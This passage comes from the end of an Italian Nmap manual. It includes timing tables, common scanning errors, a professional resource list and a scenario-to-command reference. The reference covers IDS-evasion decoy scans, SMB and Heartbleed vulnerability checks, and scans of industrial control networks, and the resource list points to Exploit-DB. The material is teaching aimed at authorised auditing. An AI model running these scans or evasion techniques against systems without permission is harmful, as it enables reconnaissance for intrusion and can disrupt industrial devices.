Audit completo (-A) su 1 host	LAN	<code>nmap -A -T4 host</code>	1-5 minuti
NSE vuln su 1 host	LAN	<code>nmap --script vuln host</code>	5-20 minuti
Scan OT sicura /24	LAN OT	<code>nmap -sS -T2 --max-rate 30 -p 102,502 rete</code>	5-15 minuti
Scan internet su 1 host	Internet	<code>nmap -sS -T3 host</code>	30-120 secondi
Scan lenta/stealth su 1 host	Internet	<code>nmap -sS -T1 --scan-delay 2s host</code>	ore

■ **NOTA** I tempi sono stime indicative che variano enormemente con: latenza di rete, numero di porte filtrate, carico del target, opzione `--min-rate`, numero di retransmission. Su internet i tempi si moltiplicano tipicamente per 10-100x rispetto alla LAN.

19.4 Errori comuni e come evitarli

Errore comune	Perché è sbagliato	Come fare correttamente
Usare -T5 su reti produzione	Può sovraccaricare dispositivi, causare falsi negativi, rilevabile facilmente da IDS	Usare -T3 su reti produzione IT, -T2 su reti OT
Dimenticare -Pn quando il target sembra down	Il target potrebbe bloccare il ping ma avere porte aperte	Aggiungere -Pn per forzare la scansione nonostante nessuna risposta al ping
Usare -p- senza --min-rate su reti lente	La scansione di 65535 porte può durare ore	Aggiungere --min-rate 500-1000 per accelerare mantenendo l'accuratezza
Non salvare l'output	I risultati si perdono; impossibile confrontare nel tempo	Usare sempre -oA con un nome file descrittivo e timestamp
Scansionare UDP senza specificare porte	La scansione di 65535 porte UDP può durare 18+ ore	Usare --top-ports 100 o specificare solo le porte UDP critiche note
Ignorare l'UDP nella valutazione	DNS, SNMP, NTP, DHCP girano su UDP e spesso hanno vulnerabilità	Includere sempre una scan UDP delle porte critiche nell'audit
Usare Nmap senza autorizzazione	È illegale — può portare a conseguenze legali gravi	Ottenere sempre autorizzazione scritta esplicita prima di qualsiasi scan
Non verificare la propria rete periodicamente	La superficie di attacco cambia continuamente — nuovi servizi, patch non applicate	Pianificare scan settimanali o mensili con alert automatici sui cambiamenti

Fonti: nmap.org/book/man.html; nmap.org/nse/doc/; PTES (pentest-standard.org); CIS Controls v8 (cisecurity.org/controls/); Fyodor 'Nmap Network Scanning' (nmap.org/book)

20. APPENDICE: RISORSE E PERCORSO PROFESSIONALE

20.1 Libreria di riferimento essenziale

Risorsa	URL/Riferimento	Perché è indispensabile
Nmap Book (gratuito online)	nmap.org/book	Il manuale definitivo di Fyodor — reference completo
NSE Documentation	nmap.org/nsedoc	Riferimento di tutti i 604+ script con parametri
Nmap Man Page	nmap.org/book/man.html	Tutte le opzioni con descrizioni ed esempi
NVD NIST	nvd.nist.gov	Database CVE con CVSS, CWE, CPE per correlazione
Exploit-DB	exploit-db.com	Exploit pronti per CVE trovati con Nmap
MITRE ATT&CK;	attack.mitre.org	Tattiche e tecniche degli attaccanti — contesto
OWASP Testing Guide	owasp.org/www-project-web-security-testing-guide	Metodologia testing applicazioni web
PTES	pentest-standard.org	Penetration Testing Execution Standard — metodologia
CIS Controls	cisecurity.org/controls	Top 18 controlli di sicurezza — priorità remediation
CISA ICS-CERT	cisa.gov/ics	Advisory sicurezza per infrastrutture critiche OT
IEC 62443	iec.ch	Standard internazionale sicurezza OT/ICS

20.2 Certificazioni per chi usa Nmap professionalmente

Certificazione	Ente	Livello	Rilevanza per Nmap
eJPT (eLearnSecurity Junior Penetration Tester)	eLearnSecurity	Principiante	Usa Nmap attivamente — ottima certificazione di ingresso
CompTIA Security+	CompTIA	Principiante / Intermedio	Copre concetti generali sicurezza — meno Nmap specifico
CEH (Certified Ethical Hacker)	EC-Council	Intermedio	Include port scanning e Nmap in modo teorico
OSCP (Offensive Security Certified Professional)	Offensive Security	Avanzato	Nmap fondamentale in ogni lab — la certificazione più rispettata nel pentest
PNPT (Practical Network Penetration Tester)	TCM Security	Intermedio / Avanzato	Pratica reale con Nmap su macchine vulnerabili — molto hands-on
GPEN (GIAC Penetration Tester)	GIAC	Avanzato	Network penetration testing — Nmap essenziale
CISA (Certified Information Systems Auditor)	ISACA	Avanzato	Audit e compliance — Nmap come strumento di evidenza
IEC 62443 Cybersecurity Expert	Enti vari (TÜV, etc.)	Avanzato	Specifico OT/ICS — Nmap per audit industriali

20.3 Ambienti di pratica consigliati

La padronanza di Nmap si raggiunge solo con la pratica sistematica. Ecco un percorso strutturato per progressione:

Settimana	Obiettivo	Attività pratica	Piattaforma
1-2	Installazione e output di base	Installa Nmap. Esegui scan su localhost e scanme.nmap.org. Leggi e comprendi ogni riga dell'output.	Sistema locale + scanme.nmap.org
3-4	Tecniche di scansione	Prova ogni tipo di scan (-sS, -sT, -sU, -sF, -sN, -sX) su Metasploitable 2 in Docker. Cattura con Wireshark.	Docker lab + Metasploitable 2
5-6	Version detection e OS	Identifica tutti i servizi su Metasploitable 2. Confronta con exploit-db.com per ogni versione trovata.	Docker lab + exploit-db.com
7-8	NSE scripting	Esegui ogni categoria di script su Metasploitable 2. Studia il codice Lua di 3 script interessanti.	Docker lab + nmap.org/nsedoc

Settimana	Obiettivo	Attività pratica	Piattaforma
9-10	Prima CTF reale	Completa la room 'Nmap' su TryHackMe. Poi accedi a Hack The Box e completa una macchina Easy.	TryHackMe + Hack The Box
11-12	Automazione Python	Scrivi uno script python-nmap che scansiona la tua rete domestica e genera un report HTML.	Sistema locale + python-nmap
13+	Approfondimento specializzato	Scegli un'area: OT/ICS, web app, AD/Windows, compliance. Approfondisci con risorse specifiche e lab dedicati.	VulnHub, HTB, TryHackMe

20.4 Comunità e aggiornamento continuo

La sicurezza informatica è un campo in continua evoluzione: nuove vulnerabilità emergono ogni giorno, nuovi strumenti vengono sviluppati, le tecniche di attacco e difesa si evolvono costantemente. Per restare aggiornati:

Canale	URL/Piattaforma	Tipo di aggiornamenti
Nmap Announce	nmap.org/mailman/listinfo/announce	Nuove versioni Nmap e NSE scripts
Full Disclosure	seclists.org/fulldisclosure	Vulnerabilità pubblicate (0-day e non)
NVD RSS	nvd.nist.gov/vuln/search	Nuovi CVE con CVSS alto
CISA KEV	cisa.gov/known-exploited-vulnerabilities	Vulnerabilità attivamente sfruttate
SANS Internet Storm Center	isc.sans.edu	Threat intelligence quotidiana
r/netsec	reddit.com/r/netsec	Community sicurezza con articoli e tool
Hacker News	news.ycombinator.com	Notizie tech e sicurezza — community ampia
GitHub Nmap	github.com/nmap/nmap	Sviluppo Nmap, issue, nuovi script NSE

"La sicurezza non è un prodotto che si compra — è un processo continuo che richiede conoscenza, pratica e aggiornamento costante. Nmap è uno dei migliori strumenti per misurare oggettivamente lo stato di sicurezza di una rete. Usarlo regolarmente, capirlo in profondità, e condividere la conoscenza con il proprio team: questo è il percorso di chi costruisce infrastrutture più sicure."

Fonti: nmap.org; nvd.nist.gov; exploit-db.com; attack.mitre.org; offensive-security.com (OSCP); elearnsecurity.com (eJPT); tryhackme.com; hackthebox.com; vulnhub.com; cisecurity.org; iec.ch; cisa.gov

21. TAVOLA SINOTTICA E INDICE TEMATICO

Questa sezione raccoglie in forma compatta le informazioni di riferimento più usate: la mappa completa degli scenari d'uso, le combinazioni di opzioni per ogni obiettivo, e una guida rapida ai concetti teorici trattati nella guida.

21.1 Mappa scenari → comando Nmap

La tabella seguente mette in corrispondenza ogni scenario operativo con il comando Nmap più adatto, distinguendo tra contesti diversi (LAN, internet, OT, cloud):

Obiettivo	Contesto	Comando consigliato
Trovare host attivi	LAN /24	<code>nmap -sn -T4 192.168.1.0/24</code>
Trovare host attivi	Internet / host con ICMP bloccato	<code>sudo nmap -sn -PS80,443 -PA80 -T4 target/24</code>
Panoramica rapida servizi	LAN	<code>sudo nmap -sS -F -T4 192.168.1.0/24</code>
Audit completo singolo host	LAN / Server	<code>sudo nmap -A -T4 -p- target</code>
Audit stealth / evasione IDS	Rete monitorata	<code>sudo nmap -sS -T1 -f -D RND:5 --scan-delay 2s target</code>
Solo servizi UDP	LAN	<code>sudo nmap -sU --top-ports 100 -T3 target</code>
Verifica vulnerabilità SMB	Windows / LAN	<code>nmap -p 445 --script smb-vuln-ms17-010,smb-vuln-ms08-067 target</code>
Audit SSL/TLS completo	Server HTTPS	<code>nmap -p 443 --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed target</code>
Inventory OT/ICS	Rete industriale	<code>sudo nmap -sS -T2 --max-rate 30 -p 102,502,4840,44818,47808 target/24</code>
Scansione cloud (firewall attivo)	AWS/Azure/GCP	<code>sudo nmap -sS -Pn -n -T4 --open -p- target</code>
Audit web application	Web server	<code>nmap -p 80,443 --script http-title,http-headers,http-enum,http-vuln-* target</code>
Trova database esposti	LAN aziendale	<code>sudo nmap -sS -p 1433,1521,3306,5432,6379,27017 --open target/24</code>
Trova device IoT	LAN / VLAN IoT	<code>nmap -sV --script banner -T4 target/24 grep -i 'camera iot router'</code>
Compliance check PCI-DSS	Rete CDE	<code>sudo nmap -sV --script vuln -T3 -oA pci_scan target/24</code>
Monitoraggio periodico	Qualsiasi	<code>sudo nmap -sS -sV -oX scan_\$(date +%Y%m%d).xml target; ndiff prev.xml curr.xml</code>

21.2 Mappa concetti teorici → capitoli di riferimento

Concetto teorico	Capitolo	Parole chiave
Modello TCP/IP a strati	Cap. 1	Livello applicazione, trasporto, rete, accesso
Three-way handshake	Cap. 1 e 4	SYN, SYN+ACK, ACK, connessione TCP
Porte e servizi	Cap. 1	Well-known, registered, ephemeral, IANA
Raw socket e privilegi	Cap. 2	Root, raw socket, connect(), system call
Fasi di una scansione Nmap	Cap. 2	Enumeration, discovery, port scan, version detection
Stati delle porte	Cap. 2	open, closed, filtered, unfiltered, open filtered
TTL e OS fingerprinting	Cap. 6	TTL iniziale, finestra TCP, opzioni TCP, IP ID
Database nmap-service-probes	Cap. 6	Probe, espressioni regolari, CPE, intensità
NSE e Lua	Cap. 7	Script, categorie, portrule, action, librerie
Evasione firewall: frammentazione	Cap. 8	MTU, frammenti IP, stateful vs stateless
Evasione firewall: decoy	Cap. 8	IP spoofing, IP ID, zombie host, RND
Rilevamento scansioni	Cap. 9	IDS, rate-based, signature, behavioral
Hardening anti-scansione	Cap. 9	iptables, ICMP, timestamps, sysctl
SNMP e community string	Cap. 7 e 14	OID, community public, SNMPv1/v2/v3, MIB
Protocolli OT/ICS	Cap. 14	Modbus, S7, OPC-UA, DNP3, BACnet, EtherNet/IP
CVE e CVSS	Cap. 8B e 10	NVD, severity score, exploit-db, correlazione
Compliance	Cap. 15	PCI-DSS, ISO 27001, NIS2, IEC 62443, GDPR
Automazione Python	Cap. 12	python-nmap, XML parsing, SQLite, reporting

21.3 Dieci principi guida per un uso professionale

1. Autorizzazione sempre prima

Non inviare mai nemmeno un pacchetto a un sistema senza autorizzazione scritta esplicita del proprietario. Questo non è un consiglio: è la legge.

2. Capire prima di eseguire

Prima di lanciare qualsiasi comando Nmap, capisci cosa farà: quali pacchetti invierà, cosa rivelerà al target, quali tracce lascerà. La comprensione teorica rende l'uso pratico molto più efficace.

3. Progressività: dal leggero all'invasivo

Inizia sempre con il ping sweep, poi il port scan di base, poi version detection, poi script NSE. Non partire subito con -A -p- su reti sconosciute.

4. Documentare ogni scansione

Ogni scan va documentato: data, ora, target, comando usato, nome del responsabile. Usa -oA per salvare tutti i formati. La documentazione è fondamentale per la compliance e per confrontare scan successive con Ndiff.

5. Usare il timing giusto per il contesto

-T5 in un lab CTF, -T4 su LAN aziendale, -T2 su reti OT industriali. Il timing sbagliato può causare disservizi o rendere la scan inutilmente lenta.

6. Verificare con Ndiff

Esegui scan periodiche e confrontale con Ndiff. Un nuovo servizio apparso inaspettatamente su un server è un problema di sicurezza da investigare immediatamente.

7. Correlare con i CVE

Trovare una versione software è solo il primo passo: cerca sempre quella versione su NVD/NIST e exploit-db per sapere se ci sono vulnerabilità note e quanto sono gravi.

8. Non dimenticare UDP

Il 90% delle scan si ferma a TCP. Servizi critici come DNS, SNMP, DHCP, NTP sono su UDP. Una rete 'sicura' con SNMP community 'public' esposta può rivelare tutto l'inventario della rete.

9. Difendersi testando le difese

Il modo migliore per verificare che firewall e IDS funzionino è provarli: esegui scan sulla tua rete e verifica che vengano rilevate e bloccate.

10. Condividere la conoscenza

La sicurezza è un campo collaborativo. Condividi ciò che impari con il tuo team, contribuisci alla comunità open source, segnala vulnerabilità responsabilmente (responsible disclosure).

✓ **BEST PRACTICE** Questo manuale copre Nmap 7.95. Le versioni future potrebbero aggiungere nuovi script NSE, aggiornare il database OS fingerprint e migliorare le performance. Controlla sempre nmap.org/changelog.html per le novità.

Fonti: nmap.org; nvd.nist.gov; cisa.gov/ics; iec.ch (IEC 62443); pci-ssc.com; attack.mitre.org; exploit-db.com